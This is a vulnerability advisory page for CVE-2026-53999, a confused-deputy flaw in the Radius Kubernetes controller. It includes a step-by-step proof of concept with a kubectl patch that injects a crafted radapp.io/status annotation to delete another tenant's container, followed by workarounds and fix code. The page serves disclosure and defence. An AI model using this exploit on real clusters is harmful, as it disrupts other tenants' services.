New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-53999

NVDCIRCLENISA

EUVD-2026-101606 · Published Jun 12, 2026

Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)

Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)

Summary

A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.

  • Vulnerability Type: Configuration Injection / Cross-Tenant Resource Deletion
  • CVSS 3.1 Score: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
  • CWE Classification: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
  • Affected Versions: Radius v0.57.1 and earlier versions

Vulnerability Details

Root Cause

The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.

Vulnerable Code Locations

Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:

s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
    err := json.Unmarshal([]byte(status), &s)  // Deserializes user-controllable data without validation
    if err != nil {
        return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
    }
    result.Status = &s
}

Vulnerability Sink - pkg/controller/reconciler/deployment_reconciler.go:491:

poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container)  // Directly uses user-controllable data for deletion
Attack Chain
┌─────────────────────────────────────────────────────────────────────────────┐
│                           Confused Deputy Attack                            │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Tenant-A (Attacker)                    Tenant-B (Victim)                   │
│  ┌──────────────────┐                   ┌──────────────────┐                │
│  │ legitimate-app   │                   │ victim-container │                │
│  │ (Deployment)     │                   │ (Radius Resource)│                │
│  └────────┬─────────┘                   └────────▲─────────┘                │
│           │                                      │                          │
│           │ 1. Inject malicious                  │ 4. DELETE request        │
│           │    radapp.io/status                  │    (no auth check!)      │
│           │    annotation                        │                          │
│           ▼                                      │                          │
│  ┌──────────────────┐                    ┌───────┴──────────┐               │
│  │ Radius Controller│ ─────────────────▶│   Radius API      │               │
│  │ (High Privilege) │  3. Uses injected  │   (UCP)          │               │
│  └──────────────────┘     container ID   └──────────────────┘               │
│           ▲                                                                 │
│           │ 2. Reads annotation                                             │
│           │    without validation                                           │
│           │                                                                 │
└───────────┴─────────────────────────────────────────────────────────────────┘

Proof of Concept (PoC)

Prerequisites
  • Kubernetes cluster with Radius v0.54.0 installed
  • Attacker has permission to modify Deployment annotations in a namespace
  • Target tenant has Radius-managed container resources
Environment Setup
Step 1: Install Kind Cluster and Radius
# Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3

# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans

# Verify installation
kubectl get pods -n radius-system

Expected output:

NAME                            READY   STATUS    RESTARTS   AGE
applications-rp-xxx             1/1     Running   0          2m
bicep-de-xxx                    1/1     Running   0          2m
controller-xxx                  1/1     Running   0          2m
ucp-xxx                         1/1     Running   0          2m
Step 2: Create Attacker Tenant (tenant-a)
# Create resource group
rad group create tenant-a

# Create environment
rad env create tenant-a-env --group tenant-a

# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env
Step 3: Deploy Legitimate Application in tenant-a

Create legitimate-app.bicep:

extension radius

@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
  name: 'legitimate-app'
  properties: {
    environment: environment()
  }
}

@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
  name: 'legitimate-container'
  properties: {
    application: app.id
    container: {
      image: 'nginx:latest'
    }
  }
}

Deploy the application:

rad deploy legitimate-app.bicep
Step 4: Create Victim Tenant (tenant-b)
# Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b

# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3

# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
    }
  }'

# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
      "container": {
        "image": "nginx:latest"
      }
    }
  }'

kill $PF_PID 2>/dev/null || true
Step 5: Verify Victim Resource Exists
kubectl get deployment -n tenant-b-victim-app victim-container

Expected output:

NAME               READY   UP-TO-DATE   AVAILABLE   AGE
victim-container   1/1     1            1           50s
Exploitation
Step 6: Inject Malicious Annotation

Create attack-patch.yaml:

metadata:
  annotations:
    radapp.io/enabled: "false"
    radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'

Execute the attack:

kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml

Expected output:

deployment.apps/legitimate-app patched
Step 7: Verify Attack Success

Wait a few seconds and check the victim's resources:

kubectl get all -n tenant-b-victim-app

Expected output:

No resources found in tenant-b-victim-app namespace.
Log Evidence

The controller logs show the cross-tenant deletion operation:

Attack Triggered (15:29:41.351Z):

{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Starting DELETE operation.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Cross-Tenant Delete Request (15:29:41.351Z):

{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Deleting container.",
  "scope": "/planes/radius/local/resourceGroups/tenant-b",
  "resourceType": "Applications.Core/containers"
}

Deletion Successful (15:29:41.367Z):

{
  "timestamp": "2026-02-01T15:29:41.367Z",
  "message": "Resource is deleted.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Impact

Security Impact
  • Confidentiality: No direct impact (no data disclosure)
  • Integrity: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
  • Availability: High - Can cause service disruption for target tenants
Attack Prerequisites
  1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
  2. Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)
CVSS 3.1 Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Metric Value Description
Attack Vector Network Via Kubernetes API
Attack Complexity Low Only requires annotation modification
Privileges Required Low Requires Deployment edit permission
User Interaction None No user interaction required
Scope Changed Affects other tenants
Confidentiality None No data disclosure
Integrity None No victim data modified; deletes a recoverable management resource
Availability High Causes service disruption

Workarounds

Until an official fix is released, consider the following mitigations:

  1. Restrict Annotation Modification Permissions: Use Kubernetes RBAC to limit who can modify Deployment annotations
  2. Monitor Anomalous Operations: Monitor modifications to radapp.io/status annotations, especially those containing other tenants' resource IDs
  3. Network Isolation: Implement strict network policies in multi-tenant environments

Remediation Recommendations

Short-term Fix

Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:

func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
    expectedScope := extractScopeFromDeployment(deployment)
    actualScope := extractScopeFromContainerID(containerID)
    if expectedScope != actualScope {
        return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
    }
    return nil
}
Long-term Fix
  1. Implement Least Privilege Principle: The controller should use credentials associated with the Deployment's tenant
  2. Add Radius API Authorization Validation: UCP should validate the source tenant of delete requests
  3. Audit Logging: Log all cross-tenant operation attempts

References

Technologies

Radius-Project Radius

Weaknesses

CWE-20CWE-441

CVSS scores

  • v3.17.7CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Command and Control

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot